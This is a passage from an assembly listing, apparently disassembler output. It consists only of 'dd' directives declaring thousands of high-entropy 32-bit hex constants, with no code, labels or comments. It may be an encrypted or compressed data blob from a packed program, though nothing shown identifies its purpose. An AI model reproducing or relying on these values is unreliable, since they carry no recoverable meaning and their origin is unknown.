4AF2D080h, 0CA895B37h, 0E4A5F4A0h dd 3122A69Dh, 4092B0C9h, 5E2E59AAh, 6D0BAB21h, 0CF40C982h dd 0CAAC67E0h, 0F65E22h, 79E56337h, 290EC981h, 0C07BE60Bh dd 0CF03D6F1h, 647FB060h, 0F44EF78Ah, 744012C6h, 1E9A4B68h dd 5BAA8C9Ah, 0D777F60Ah, 1916FE32h, 25F3563Fh, 73686483h dd 0EF31BBECh, 0F701F49Ch, 0DD9A40D3h, 6FB0EA2Dh, 6018311h dd 31EACC4Ah, 77044B40h, 585B27D5h, 21C67F1Ah, 0B16FD499h dd 34AA4E16h, 0B6C74080h, 51C72C23h, 1CABB52Eh, 50581F18h dd 20969054h, 0BF04878Eh, 41857CC7h, 400F4A80h, 0C606015h dd 75D5FDB1h, 0F1075E98h, 121E10Bh, 83588ABh, 0A26D5F1Ch dd 590F08E4h, 6D8A89F0h, 276C7856h, 0C15C40B0h, 3C02E72Ch dd 0F64C4003h, 4B740569h, 0E0BC552Eh, 0CA0108B9h, 0E948EC0Bh dd 2F4829C6h, 44CB272h, 3F791768h, 3629AB6Dh, 779232Ch dd 58E962F5h, 75F332F0h, 79F4A56h, 7A1A1DCCh, 0E6DB3AD5h dd 0CD4CE90Bh, 0BEE8CFA4h, 20311504h, 0AD54891Fh, 0A15D3725h dd 0B4DDFCA7h, 0B8508C01h, 4A2F1122h, 802066Ah, 4ABA2CE5h dd 0DE6934F2h, 1225583Fh, 44649E84h, 8C3E0A3Dh, 0FCF353A6h dd 1B98A44Fh, 0B080B64Fh, 242FCCBBh, 3D2155B8h, 5CCD7A01h dd 0E2868A0Fh, 3C707A7Eh, 0C1FC8372h, 62A9394Dh, 3C505970h dd 0BF9CCE30h, 5CCE4E31h, 462D07Fh, 0EDB9870Fh, 8AE347ECh dd 2A5256C9h, 5C25789Bh, 290E366h, 0AA6E2101h, 7F40E917h dd 63EFC35h, 0E4EBD153h, 7351821Dh, 0D1D801CBh, 0F8CD276h dd 520253ABh, 0EE8002B6h, 0C38EE0B5h, 0E6C0806Eh, 88070360h dd 2CDE8BC4h, 1387D187h, 273FE729h, 1728C8D3h, 4B9796C9h dd 0C1318860h, 10F6584Ch, 0BC60DF57h, 152F0EE6h, 0A7DA093Eh dd 0B799C132h, 41863220h, 4C72AC1h, 613024FFh, 0CD814D03h dd 7F3924E0h, 603FBE90h, 646E246Ah, 9A995B00h, 0B2B3E9EDh dd 1354B1D4h, 82446708h, 0E57906D2h, 24C1E54Bh, 6D6C06DBh dd 0ED0962CFh, 608914A7h, 484BD728h, 8E2F1C5Fh, 937B8B42h dd 5F330027h, 0B0494CEAh, 0D04D290h, 3217A6B8h, 0AB5812E3h dd 4A61BED0h, 2EDC7B35h, 0ACBD5021h, 7E56CC90h, 1A027204h dd 2CC1E1C1h, 0DF2D6288h, 4FC80179h, 0B7E97079h, 4AA86214h dd 6F813D94h, 1054261h, 6C2E8AF3h, 25B5ED3Bh, 94C47D66h dd 25448475h, 0F5568909h, 2C60C708h, 98F0038h, 0F387134Fh dd 0FD6F72Ah, 6D986812h, 0F52595F3h, 4FABAA0Fh, 0ED54F941h dd 5971AC50h, 0BA33963Bh, 0F9C1E241h, 4342CF88h, 90B678E7h dd 0F7032F5Eh, 18BA3280h, 0CBA05B91h, 7257BB1h, 0E3048232h dd 4DC4DE7Dh, 0E8162A40h, 59F46118h, 0C621CA26h, 433303BFh dd 0EEB06CBFh, 85375C38h, 150184Eh, 25683955h, 791950E0h dd 7E5B3531h, 0C0B56F37h, 0F429A1A1h, 8AE15F73h, 0D7B44ACAh dd 0E793268h, 0BCF8B83Bh, 7190B91Fh, 7DF51AD6h, 9DB56CCh dd 6497E978h, 96B576E6h, 0BB92BDCBh, 6C71F300h, 0E9260529h dd 318997C1h, 0AF9AD9FEh, 7EE95B60h, 8629385Eh, 0F8886682h dd 0E1CA3AE9h, 0E32535F6h, 0BF62D928h, 0B24B8126h, 0DC5AC5F2h dd 583EC4B4h, 2583136h, 74532707h, 0C4CB1429h, 4B081A0Dh dd 0F37C7F42h, 5955520Bh, 0A8B883B2h, 0D62EF13Fh, 5D8552C0h dd 77E21C87h, 4137884h, 20F85E5Bh, 0B8C5228h, 6B5762Eh dd 4E10F789h, 8C0497F2h, 0D78947F7h, 0CB4CAEB3h, 120F031Fh dd 91A9C455h, 2C6CE9F6h, 4B5F18F2h, 0F3CFEC4h, 0D9010D41h dd 55082EBh, 5B974848h, 7641D589h, 0FD5117FAh, 3662EFCAh dd 56BE3098h, 5D7EA32Ch, 10DBA18h, 93F998DDh, 445A757h dd 19BA962Fh, 6BB4BCE9h, 8671D8C5h, 0D31167Bh, 8EBD55Bh dd 65876EBFh, 0F557021Ah, 0D484A1A7h, 2192A5A6h, 2974FE82h dd 4D6D6886h, 268825CBh, 0B73DA044h, 77927C7h, 80F0B6D1h dd 0E6FEC3C6h, 0CE8D1A0Fh, 325650F0h, 10655842h, 8B1E8934h dd 4DB968F8h, 5FB84E2h, 0A637CD57h, 0EF16531Ch, 0C8C14433h dd 556C6806h, 2A224C41h, 0B9463C19h, 5D143E70h, 938C4ECCh dd 81F3C02Dh, 764727CBh, 2C2C3D5Ch, 73A56828h, 0BBCB08D8h dd 2C01704Ah, 294F2128h, 320808DAh, 79523B2Ah, 52184209h dd 4A515832h, 0D0A41211h, 0D233825Eh, 0F85A6525h, 0D3D205Ch dd 52DDF701h, 0DF2AFEBAh, 5AC38770h, 34F7484Bh, 1B9123Dh dd 552693F7h, 0A1DE17BCh, 14F10192h, 237F55B3h, 53EAF7A1h dd 559E6CD3h, 0DA4707D6h, 83C95866h, 0A72CF8F8h, 771280D2h dd 7B1F27B0h, 5E8E2887h, 52D85D06h, 2A01CA3Dh, 0F09D016h dd 5AE8538Eh, 86641653h dd 0C66CE114h, 29A83A0Bh, 0A5B96FDFh, 0AE025053h, 741F372Bh dd 1375836Ah, 6CC22C9Bh, 365C5A01h, 0CC542230h, 9B8A5110h dd 2D3B6702h, 1D443E9h, 0F468565Ch, 3326CD15h, 440E7A5Eh dd 8A0A2957h, 2492897h, 61E6DE5Dh, 8DACD1A8h, 0F3701877h dd 0EA41B48Ah, 0D3B2A1ECh, 94CF336h, 1ED805Ch, 0CEE9E829h dd 0E0BCAEF2h, 68C8310Eh, 9B1048BFh, 964785D2h, 0A4940AACh dd 275A7669h, 8AA99147h, 690629h, 8F504DA4h, 36475C2Ah dd 407E4909h, 0F5CF2280h, 781AF95Ch, 4104D7F7h, 9A60F152h dd 0D314C7Ah, 35CD9F12h, 0B5FED3D6h, 4C345F5Ch, 0C868B028h dd 1E0E2578h, 312F6D94h, 8E05C46Ch, 215EA16Ch, 68718C3Ah dd 6D1D0F27h, 0A3921746h, 0E391588Fh, 53C14C58h, 407FE916h dd 68535938h, 0D7C2F7Bh, 424A5B7Dh, 0A6FDBE12h, 0EBA2FBC4h dd 5F74A237h, 0D7D18705h, 94874BF4h, 692F90B8h, 8E98355Ah dd 2E613934h, 8A4ECBBCh, 32D65F50h, 0F7E32064h, 0FEE8198h dd 49B6929Ah, 33CA5397h, 0FAEE40h, 0BE7D233Eh, 320F38B9h dd 5F3C1EB8h, 39F08056h, 74292278h, 5E082424h, 6293409Dh dd 1BDE6EEFh, 0C6C293Eh, 21811420h, 0BE7D425Eh, 28FE748h dd 8CAB6FEEh, 0DE3E6E02h, 6029475Bh, 0B7AEC41Dh, 0F115B0A5h dd 0BEB79548h, 0E2A04F63h, 0B0E913D5h, 82D720F4h, 5F7BBB4Ch dd 17F03F20h, 6267D868h, 1A5A13EDh, 8625E57Fh, 686606h dd 62141B4Fh, 0AF08382Dh, 4D67358h, 119AECEDh, 0AF58C9B2h dd 2F65C589h, 80565709h, 0BB784720h, 60E9702Bh, 21158FC7h dd 83B91ABFh, 5180AA16h, 77484CBEh, 252D04FCh, 0BE7B4641h dd 9A8AE04h, 66D80B12h, 0C11D6CC4h, 810104E5h, 0B494CFEDh dd 3A7205E8h, 1145E6Dh, 0AC00F3E8h, 0E97D061Bh, 3FC05B59h dd 81EFD1DFh, 3D6F0BC7h, 9E409F12h, 344E8B5Dh, 0B7D324A3h dd 26680A31h, 0EAE9E23h, 5CFDBD70h, 550B3414h, 0D80E5D59h dd 407602F2h, 96C0821Dh, 0DFC56E92h, 9218A166h, 1846E5D2h dd 0E0A7819h, 797CD1F5h, 5DD60865h, 688245F2h, 0FFD65C1Dh dd 68291567h, 2D283536h, 2C1B59CAh, 0FCA7C3E1h, 0D3FE8DEBh dd 0F66010DDh, 45429D5Ah, 0E9870B40h, 59B1964h, 2B6929FBh dd 68512943h, 0CD154F02h, 59163A83h, 0F54B00CAh, 0B9443A84h dd 0B812A0E7h, 1994DCE1h, 5CD72210h, 9301EF5Ah, 0F6BD47Fh dd 3B22ED80h, 6044FD43h, 54B8AC57h, 89D98A80h, 0C517B8D1h dd 0A34BAD0Ch, 633B68FAh, 81479C2Ch, 9E42FEF5h, 0EF0C876Dh dd 1379624h, 5005E05Fh, 387A0D0Ah, 8A6222Dh, 1FF8120Fh dd 0B32ECE8Fh, 3D380FB2h, 80707425h, 8415FA12h, 0C71F60E5h dd 3E259909h, 0C176E0FEh, 0DA0548E3h, 0DF65E04h, 5BAE81CEh dd 5F34412Dh, 4168D857h, 76925200h, 37233558h, 0A05D4FB9h dd 0D70987B7h, 292CE94Ah, 804489E9h, 8CF29154h, 0FD0112E5h dd 0EA67385Fh, 44312485h, 0F5014102h, 59384DE9h, 0E950CF58h dd 0F83C1F3Ah, 82F95647h, 8C7E2931h, 0E3473416h, 9BF4EF31h dd 2C0F98F0h, 9ED54F81h, 8350A7FEh, 4E9E844h, 59CC8831h dd 96EFA851h, 0FE016C16h, 351F6D44h, 0D6AAB40h, 0B44A4ED3h dd 14677CC8h, 0D175D8F3h, 0FAE8E252h, 1C00AEA4h, 0F732441Bh dd 3FD7A0D1h, 0DD514C0Ah, 6925E300h, 90E942D3h, 8BB3C861h dd 0A934C4DEh, 0BDFB04EDh, 0FA897E96h, 0FD5D435Dh, 49285AFEh dd 334084EEh, 0AD06DD31h, 0BF4B6FC6h, 0E9F86520h, 3F5B60F1h dd 147ADBCAh, 252E0E7Bh, 41888FF9h, 5C381A3h, 2C1F3251h dd 4AF2D2DEh, 6360B6C0h, 0D30C2D4Ah, 0F8093A2Bh, 0B1B1D08h dd 2434E46Bh, 7B591AA7h, 6AA3DD60h, 605A987Bh, 58C1F757h dd 5001C2A1h, 3ECCFD56h, 0F85EA709h, 0EA090F87h, 0E5BD535Dh dd 0FE011104h, 0C3B29124h, 0DA9683Fh, 25C62752h, 43295A17h dd 2E030680h, 1561F53h, 851B9C7h, 14A09430h, 0BB523041h dd 1C0DAE04h, 46A40475h, 0F600AAB8h, 0AB2221F0h, 5E58F701h dd 0ADF7D74Eh, 0A3263196h, 8EFE489Eh, 0F8F051Eh, 790828C9h dd 7BBF01B9h, 2B5BCE9Fh, 0A9918962h, 69E4D6DBh, 0A86862C0h dd 358ACC9Dh, 1E1113FCh, 0B1571277h, 28D5007Ah, 664AE10Dh dd 66B95E1h, 8A5A4166h, 16521320h, 303A1C68h, 4AB95136h dd 5053213Eh, 155F9D5h, 0B3E40259h, 3EF5FB09h, 23BC6917h dd 5D049137h, 0B897870Fh, 1E5A4191h, 47A173BAh, 0CB5D548Ah dd 6179A304h, 3D92B9C1h, 4541933Ah, 0EC5C42C2h, 7BCEC387h dd 0E15D58F3h, 373E2FF4h, 0AD1F92BFh, 7C0987E4h, 79302568h dd 69EC299Eh, 6F4898CCh, 48311721h, 3F2D5E0h, 0E90103F1h dd 583CE216h, 0C28081B2h, 6EAC0D7h, 0E9BB98DBh, 0D73BF9FEh dd 0C43A72D9h, 0E85D3077h, 9882824Fh, 2C51EC48h, 5765E5A2h dd 9C426846h, 0A255848Dh, 68792FADh, 9E58C691h, 0F1064E97h dd 995205Ah, 26E54F18h, 5D9394h, 3E677B83h, 0FD7C293Ah dd 40A23C5Ah, 0FFFC36A2h, 1C8FBB01h, 396074BCh, 0D2581213h dd 0B12D0342h, 0A8B4DD1Ah, 0EAF3005Dh, 31475741h, 0C45B4CDFh dd 4C225600h, 814A4249h, 7DA2F21Dh, 3CF81913h, 0FBEA1460h dd 9325A180h, 78B7021h, 0DF7E2BE7h, 0BDEFF412h, 17BB5979h dd 8B1C04F7h, 838E502Ch, 0C1E9E4C5h, 0F4DC11BAh, 0A8DAE9A0h dd 0DDE7D7A9h, 0E1092E45h, 8941FC57h, 0ADA71572h, 580822D0h dd 0A47635D6h, 0E2072046h, 574BC9B0h, 535A8522h, 0DFE9C10Ch dd 3C543923h, 9D927E12h, 7620F9B8h, 9A5D589Ch, 0C5BC757Fh dd 0B65EF1AFh, 4D3313B4h, 6D81BCF9h, 802AB80Eh, 42F9C9BAh dd 4AEAE9DDh, 315AE4CCh, 1E68E040h, 0B0925D8Bh, 29F1E656h dd 0E966DC09h, 50612339h, 360F85B8h, 6ECD5765h, 6D688E8Ah dd 0C6E984A6h, 8B45BE0Ch, 48AD1BB6h, 21008190h, 0E943F67Ah dd 0BA801C27h, 712316BBh, 5ED60806h, 5AC3BD01h, 0E170621Ch dd 8712011Fh, 0E9D5F76Dh, 4A1D3CF2h, 40F662A0h, 0BB09BF38h dd 0AAD44487h, 44AF18E7h, 0B10320E8h, 0DA6E0CC4h, 988A1016h dd 57939603h, 3A4829CAh, 1F8F0541h, 0C0C65F95h, 114E0A22h dd 1E925CD9h, 0F653B4h, 794DCEB6h, 0E9261BD3h, 57929AD5h dd 0C5544449h, 948AC94h, 92713DAFh, 0B406311Bh, 4BD731AAh dd 0C213FE4h, 800027DAh, 0C7E6FDEFh, 0CFFE0118h, 0F668110h dd 2834B050h, 0F6B8E982h, 0D4A442F1h, 5C7D541Ah, 56180B5Ah dd 2C701C03h, 74059F2h, 0A9999C03h, 0B016383Dh, 5499EA42h dd 0E94C1763h, 0D802E52Ah, 5104C63Ch, 59CE8960h, 87286EE5h dd 61D54E62h, 72C63157h, 905F1B24h, 119B0FF1h, 0D2851E55h dd 1C11F4EDh, 5B1DA39Dh, 0DA77DA43h, 5B0E8668h, 4937A653h dd 5AEB46Bh, 0F4CBE94Fh, 68165A15h, 0AE6220EBh, 0CA14649Dh dd 0A5E46D11h, 0E5FC4A66h, 0E95030BEh, 0D0B64F68h, 1D0FDED0h dd 7A4F7E7Bh, 0EFA8E612h, 6A1AF3B7h, 2CF8150Bh, 8C8882ADh dd 30AC01A7h, 0DFC842D8h, 0E6B85D04h, 10B1098Eh, 4E629A68h dd 0BB5FC13Ah, 1504DF60h, 0FCE7921Fh, 95627C3h, 0F9AA59F1h dd 0B7F6CE3Eh, 0EADE01E3h, 22F7C86h, 66DD2859h, 511D7BC0h dd 0E70FC692h, 4544BA20h, 0D0AC4F47h, 351BA881h, 7E446E3Ah dd 31094928h, 0B2335705h, 0E3044EBBh, 4E90B9E9h, 69F7D587h dd 0A0008D2h, 50375B3Dh, 48F0CD0h, 0EB0128A7h, 0A8D293ECh dd 43A24E45h, 0A0666399h, 0BE25AA65h, 9E9D2299h, 8889E3ABh dd 2D685BD9h, 7126104h dd 0ED5920FEh, 2527E91Ch, 4C32DA62h, 0E38BD07Ch, 0EB20BC1Ch dd 15D7BECFh, 0B928ACF4h, 0CF893E5Dh, 0C9072413h, 0A3382BCDh dd 1AFD33E9h, 7FC9AD10h, 0D9043B20h, 6802A445h, 0F5EC36ABh dd 0C333994Eh, 0D2B4C952h, 0A215243Ah, 0DD0B9619h, 789B565Bh dd 4EBCF502h, 6A2D9F83h, 4995DA77h, 35795DBAh, 0A0507190h dd 48F3FEE0h, 1E024877h, 1454F2Fh, 5489D068h, 0B963E826h dd 7A75BA02h, 2B506052h, 982C5C50h, 5BC86810h, 44F351B4h dd 88160F46h, 0D346F2D0h, 1F0A9D73h, 4E13EC80h, 0EEC558E7h dd 4C0EFFAFh, 0BE9A4C6h, 0E4514B92h, 8F5931EFh, 25A52FFh dd 0BD8856BFh, 7F544C10h, 60989A36h, 0AAA9952Fh, 0EE5E5931h dd 0E922600Bh, 0AC40401Fh, 4C142C38h, 0B1B52A00h, 0B622534Ch dd 4AE72037h, 0AC464F9Dh, 122002E1h, 0E5C008E8h, 21092A35h dd 65C3014Ah, 81163578h, 0F517FDE3h, 12573136h, 0B4D205ACh dd 6817F492h, 3B31193Bh, 0DE2A5954h, 2FF1562Ch, 3C8C665Ch dd 0B8294BEh, 1D6E6810h, 8BAAA6FEh, 63A2B2B5h, 7B9C889h dd 9501FA6Dh, 59DAB343h, 9F02078Bh, 0F409FC60h, 1B0E4B96h dd 7BBE5A78h, 117D5F02h, 0E301EE83h, 0A8E09392h, 59C7E96Eh dd 0F509B628h, 0ED0EC01Dh, 5CCBDEDCh, 0EB30C9C5h, 87601789h dd 0F825015Ah, 0E94D4B2Dh, 656FB15Dh, 0BEE6B48Eh, 2C3F2D46h dd 0A88E56DFh, 5A0FD5AEh, 0EC4C57E6h, 40F17425h, 4B42236Ah dd 0B03AC5D3h, 56126882h, 585B1501h, 0F07E8C1h, 0B70B9AF4h dd 59DFC4A0h, 0E9277B44h, 8895C0B2h, 0B45D4AFBh, 0C5A9CE02h dd 2AA4415Ah, 5F5B014Bh, 51A19678h, 0BC0FC468h, 0E90920EBh dd 985C4F0Eh, 0C283A908h, 0BC334079h, 0BEEC9EB5h, 1FE4D02Eh dd 0D3B64ED1h, 139ED6AFh, 359E18A8h, 140B7D68h, 745A0F04h dd 79F4BAD2h, 0FD8612DAh, 2530901Eh, 3660D131h, 7109CF0Ch dd 0D089042Eh, 0F2ED835Ah, 93A45B56h, 1CB33C53h, 9A75C92Ch dd 76643A4Ah, 0B8096490h, 89AE41A8h, 904478D0h, 1DCD2F60h dd 44EDF0E1h, 4CB6E308h, 292D8B05h, 9512589Dh, 0B1F2189Bh dd 0D15159F8h, 42CCC8EBh, 0CC334F2h, 7D2B63D6h, 313F409Ah dd 0FD6BEF72h, 5F8C508h, 0E0D0E955h, 660E5010h, 834C8FB8h dd 0C50F9F05h, 371FBEh, 6852F635h, 28B11740h, 9DBA07BEh dd 0BD505538h, 68E93344h, 0EB5D4F88h, 3BEF54A2h, 16BE3A65h dd 8EAD56EDh, 0D80B9984h, 9625E917h, 0C925D973h, 2B0B6BFCh dd 31262CBh, 91D801DEh, 1B715828h, 54FADB04h, 0D70386ECh dd 0DD01F7BBh, 0C2E951F8h, 8FBD9994h, 49FC88E0h, 270E5E31h dd 126E0CF1h, 41B2A205h, 0FF665390h, 4DB3F230h, 80077F95h dd 5053C404h, 20637A18h, 27CB5648h, 0F37146F3h, 253BADFDh dd 0D6CF21BAh, 40CDADBFh, 9EE82043h, 81DF52B0h, 71F768C6h dd 6673B866h, 59CD3FBEh, 35D577Bh, 2F34EFDh, 0A8A7135Fh dd 5A681F7Ah, 0A29D2062h, 0AC8D9E80h, 4E94B5D3h, 948513FCh dd 45ED8857h, 5916797Ah, 2310D301h, 20924808h, 89681636h dd 64D351Ah, 5EC60841h, 8755E197h, 7050C412h, 4BCE895Eh dd 0F5ABF1Dh, 0E7C10D01h, 0EC367246h, 348EFC1h, 4FDA05C1h dd 0DE000A7Fh, 7A111344h, 95E3FF01h, 895D0802h, 8724D9F8h dd 5AB1CBBh, 12778FF5h, 0B0055F21h, 0A7FC1DA3h, 64C78A96h dd 16A4FE19h, 809441A8h, 0DE500F9Ah, 0B0DDF76Ch, 0A2C44F3Ch dd 0D425785Bh, 6234B6Ah, 0F5B9DABCh, 0AE98106Bh, 54D1525Ah dd 0D06059CAh, 6C1E075Ch, 81E8D139h, 54CE84E9h, 2A1DED9Dh dd 680908AFh, 263FD59h, 0FC49D956h, 0E3FA5BECh, 346C5A11h dd 4BA9683Bh, 41579EDDh, 62B376CAh, 0B2AA855Fh, 0BDC152FDh dd 71C2E9FBh, 0A0990B5Fh, 0EA5A7C4Ch, 13BA6385h, 0EDFA2DC2h dd 0B6173ADEh, 68AA6A8h, 88588BA2h, 0DE1B7140h, 74927582h dd 81088554h, 870F05CCh, 0EC44EAD0h, 0E198614Fh, 0A1C14E8Ah dd 0BB352088h, 3D7105E0h, 8052C83Ah, 7C7A5F4Fh, 2C51B42Dh dd 3EDC4D8Fh, 93050751h, 0EB0C8B25h, 9EBD193h, 20EA7753h dd 9C38325h, 6F595A08h, 184E7B28h, 140D5E4h, 0C05AF730h dd 606605E7h, 0EC60D877h, 2E64EA53h, 89472F4Eh, 551282D1h dd 993B4AE1h, 5092F114h, 66F520F7h, 2E51195h, 687FE911h dd 995D2F99h, 224252D4h, 7D9A555Ah, 3CEDAA10h, 0CE4CF8BAh dd 0B5804BB5h, 4C5BDF29h, 472D6D55h, 30074F0Fh, 5E9A82F1h dd 586939FDh, 16AFCA3Bh, 85F442AAh, 17851B0Fh, 6ECA1B62h dd 52726009h, 5954255Fh, 0B731B5EFh, 0EB2CE801h, 75F3D0h dd 4F564651h, 4487F781h, 0E90D0505h, 0D5E915CFh, 5BA64811h dd 92CCD704h, 0B5BAB917h, 26BCEA00h, 9F4D7F02h, 4EE5AE80h dd 4B5C8D70h, 0B9854F1Eh, 2DAEC508h, 810157E7h, 0F0584CDh dd 22E29D5h, 176EE9E6h, 5C971973h, 0C14133CBh, 0CBF9123Bh dd 0E0902A19h, 450BC9FCh, 4099C77h, 34AFB93Eh, 822082A8h dd 6DED2558h, 1C352C7Ch, 9DBC4CA5h, 67561E62h, 0FCE8A15Ch dd 0DCF8B401h, 0C59746A0h, 12270B40h, 0DB5A87C8h, 0C601B183h dd 0D69B1C70h, 80A79110h, 5568F4EBh, 88D298BDh, 67517BC2h dd 62595538h, 0D54627Fh, 8E472960h, 31E942h, 0B625E230h dd 0E49CF3Ah, 7950A2A9h, 0FD145BE6h, 8B7ADh, 51311DC9h dd 4A6F8C0Fh, 0C78FC829h, 2B2FB60Bh, 5F2E0103h, 0AC93DB88h dd 3025F83Bh, 0E9F306CCh, 51819D0Ah, 50731368h, 83BB5351h dd 7C524B0Fh, 2BDDEF55h, 0FC52829Ch, 3300091Bh, 1411871Fh dd 2AD92126h, 263145A7h, 3BFC11A3h, 2AE0AEE6h, 5942D8A5h dd 0FC9C1425h, 59CB2CF5h, 0C2C625D1h, 1A081697h, 3E913FE9h dd 27AA9C57h, 67D9E789h, 0F563044Bh, 0C1D90104h, 6A6AD373h dd 48C2EC2Ch, 0ACD35F3Dh, 6A07B21Dh, 4734DD63h, 0F25BE979h dd 0ACE196C9h, 0D6CD9A35h, 6905B883h, 0A5EA3960h, 0F05EE069h dd 36FA9BCEh, 41244A7Ch, 6886490Ah, 4EFD011Ch, 80C00510h dd 2DAC04ECh, 9C590AC4h, 0A859CFADh, 0D0905D80h, 4553E45Ah dd 52030E9Ah, 872A83BAh, 0C420027h, 0F542174h, 9BB2E88Eh dd 285EE974h, 1DE0A9C9h, 0A7449D20h, 0A0485D20h, 30273206h dd 0B20C05B3h, 6C124D68h, 2210F329h, 56510A08h, 890015BEh dd 17E95EF1h, 7FDDC6Dh, 5866E1h, 0B35359C8h, 0B450C100h dd 0F6CCFE9Eh, 0E4C00ED4h, 0CBE38005h, 0EE8C67E9h, 0A6949B37h dd 0BF5648B0h, 0BCC8E04Eh, 0A4311E43h, 0CB652935h, 4B5C0E98h dd 97BBE913h, 0F715FCB3h, 0D728A995h, 4A017AB7h, 5096E526h dd 2812B0ADh, 62202798h, 0EEEBE0D1h, 45DB28Eh, 743545BDh dd 0F5E3D04Ch, 0AC255863h, 1EDDD92Dh, 0B0BCC0C5h, 5DEF899Ch dd 0D175FB90h, 0DF0B574Bh, 841B5945h, 0BC40A1E9h, 56E8C94Fh dd 4FCC2523h, 78F0E1E8h, 680168BAh, 1D896B3Dh, 7882455Dh dd 1640800Fh, 42C5EBA3h, 0C0B52172h, 0C05185A2h, 0A8A2EE1Dh dd 564FAB11h, 1B651901h, 924257E3h, 9F54F3ADh, 0F9C91654h dd 6BA213A5h, 0A8B554BCh, 5CAE12C8h, 0F12417ADh, 7918001Ah dd 81467DF5h, 3B91F606h, 291E2BFBh, 13CD8B5Eh, 0CB19AC1Ah dd 13A684F9h, 16E304AEh, 37E01309h, 5012CC56h, 650FEDCDh dd 69601874h, 513505Bh, 9207EFBEh, 0C5BC8062h, 3361A83Eh dd 8611FA8Ch, 0F7047DE2h, 6DEC45h, 0A8E0D15h, 0BF5DEE21h dd 6208843h, 86025A03h, 820BBEB6h, 724A7793h, 21FD20E9h dd 7FA8839h, 0C05B5AD1h dd 0E6D702C9h, 9B5C598h, 22C14068h, 98E66954h, 4F02680Fh dd 827C2475h, 92E808C2h, 4C78F680h, 0EE12C625h, 550CC79Ah dd 8725805Fh, 4A2DE9F5h, 0F6FE4839h, 2C8CB3B6h, 2EE4CFB7h dd 409BCD30h, 96B52BDAh, 90B65200h, 0CEFEDEF6h, 58E63B80h dd 36E9D686h, 8181324Eh, 89906A78h, 1780D3B4h, 0C0FB2E4h dd 0C4B75552h, 0E17CC690h, 0E4F93180h, 5708C1CFh, 725B5F53h dd 0E88384F8h, 561425BBh, 4345234h, 0B246C6B2h, 0A1E066F2h dd 9897806Dh, 55B8047h, 5F286200h, 0D9AD2D74h, 213A26E1h dd 0D05625FDh, 0C272E2E1h, 0F530A421h, 60588136h, 1EB001C2h dd 1F25677Ch, 5E5099F6h, 962C569h, 71F0B6E9h, 4A8CC697h dd 8466B866h, 1168DB8h, 230A943Eh, 0B171EC3Eh, 5512529Bh dd 0ABB9D341h, 0D1C3DE52h, 416EF1B3h, 1F47A392h, 15F5616Bh dd 0E20685EBh, 5E845B47h, 0E9127CAEh, 0ACE21E54h, 2068661Ch dd 0B6D267h, 0F6C2B252h, 5E2C0DAh, 27AE92Dh, 43E3C1ABh dd 614C9A84h, 0C03025F4h, 0DDD800A5h, 5BD9894Ah, 0E926CD29h dd 5CB15360h, 0C86A71C0h, 8D5B35E0h, 0E7D08DA6h, 0AC2D164Bh dd 3F29A948h, 27140C6Bh, 0A31AE912h, 0FA19B5F9h, 305B0C8Ch dd 31BA261Fh, 26520FBEh, 233E154h, 4DE8B951h, 80F52553h dd 6FEA81E7h, 1C5F3023h, 930B620Ch, 10F71040h, 538EB75h dd 169B1BB5h, 0BD4D4486h, 799808E6h, 1B17025Fh, 8C7BFB8Dh dd 6F905664h, 0A5193020h, 0F7B3303Dh, 6A4B68F9h, 323AF2B1h dd 0B1C9A223h, 31D97129h, 0A0096AA7h, 762E78A0h, 11513040h dd 0D831AD24h, 0B82D70FFh, 9AA7D00h, 47E17ABDh, 0D5291A76h dd 60D2A65Ah, 6747A95h, 175602CDh, 4481223h, 55270946h dd 19510235h, 0A29357C3h, 826552C1h, 7E51BED9h, 7C78216h dd 3C8E680Eh, 6251B44Bh, 0BA00D027h, 5B1905A8h, 5493E45Ah dd 849BF249h, 55062B12h, 665B7850h, 25640229h, 79F8B287h dd 58C6265Bh, 40810EEh, 614A6B72h, 608B13AFh, 581EBD80h dd 8C253625h, 5A1664D5h, 11F3B4EBh, 57B4CC4Bh, 4838EF2Bh dd 0AC78C9Fh, 0AA39F18Dh, 31711221h, 82ECA284h, 70E2E627h dd 87089ADBh, 0AA2D01EFh, 302A0D12h, 46B5BB31h, 566870F4h dd 0AF129946h, 8523E9F3h, 35AB44B4h, 7A17F5B5h, 0F1E98560h dd 0EDA9C929h, 5F8A71F4h, 6801FD31h, 1F540F2Fh, 0C276BE41h dd 0BDE30004h, 293FC775h, 0EA2EF27Dh, 4799D322h, 6189E88Eh dd 6BD12C8Bh, 59707DB8h, 1AFF04Ch, 80C5FECCh, 0A9CF56EDh dd 20872834h, 0C0D0B753h, 4D0417F7h, 896D0E97h, 8836655Bh dd 0C107F292h, 0EA3707E2h, 0E0E569EFh, 5D926875h, 3815B58h dd 4163C244h, 493F9E6h, 570492FCh, 0B06FDC9Ch, 0E80927A1h dd 88FB0113h, 0AA2E0876h, 3A8E388Dh, 8D10C779h, 6855053Ah dd 39521E48h, 9EA52413h, 914B307Dh, 3EED3DA6h, 5EC5F847h dd 41B42817h, 9D4F21BCh, 51FC8FE1h, 461BE9E9h, 0F0212EA1h dd 4D8B180Fh, 2E1E1FE7h, 31D21302h, 0CDB05F83h, 0A5E1B7C2h dd 0A116518Bh, 75D3B41Eh, 275A8FF0h, 0AA60D2F7h, 0B716B349h dd 0FC048988h, 580B0CFBh, 5457DCA1h, 0A7FA205Fh, 37386016h dd 7C9F5101h, 65317879h, 7F0C01F7h, 5AE9FB29h, 405C3AC8h dd 2513B987h, 50B90167h, 0E5E63B5h, 0BEF956D8h, 0F1843F17h dd 58D7C9F4h, 0EE05024Fh, 0AAE18F2h, 1CB5FCAh, 4E8D2BADh dd 4B42DA29h, 5E5082Ah, 0DC71DC68h, 0B6497BAAh, 14D7C494h dd 4867A58Dh, 2FB0B175h, 0E59C3A71h, 0F50AB5AAh, 0A330402Ch dd 17A4D10Ch, 0A72601F7h, 5E57AFCAh, 0B3F0F85Fh, 680A109Dh dd 27187CBFh, 7DC85B2Ah, 67062FE0h, 1F870F63h, 0D244A077h dd 0B536E408h, 8DB50660h, 0F08E5659h, 0B5AD6EE9h, 4B07CE48h dd 82ED29C0h, 582C1803h, 9F100759h, 864A75B1h, 247F31F7h dd 9242DF5Bh, 0B347ABF3h, 0BC7A875Eh, 0E9DBE602h, 1F868483h dd 490E5EFBh, 70564AF6h, 6A9F8462h, 0CA08C3BAh, 8360095Fh dd 3C5BB151h, 0F1C98AA0h, 9238E3CEh, 0BBCA4858h, 592118D3h dd 2FA87248h, 0E90C6A06h, 20DD47h, 0A346160Dh, 68AA0573h dd 0A527033Fh, 0B72E780Ch, 0BB986AEEh, 1E92B120h, 957DDF7h dd 8B723D34h, 0C3724C0h, 955E4B83h, 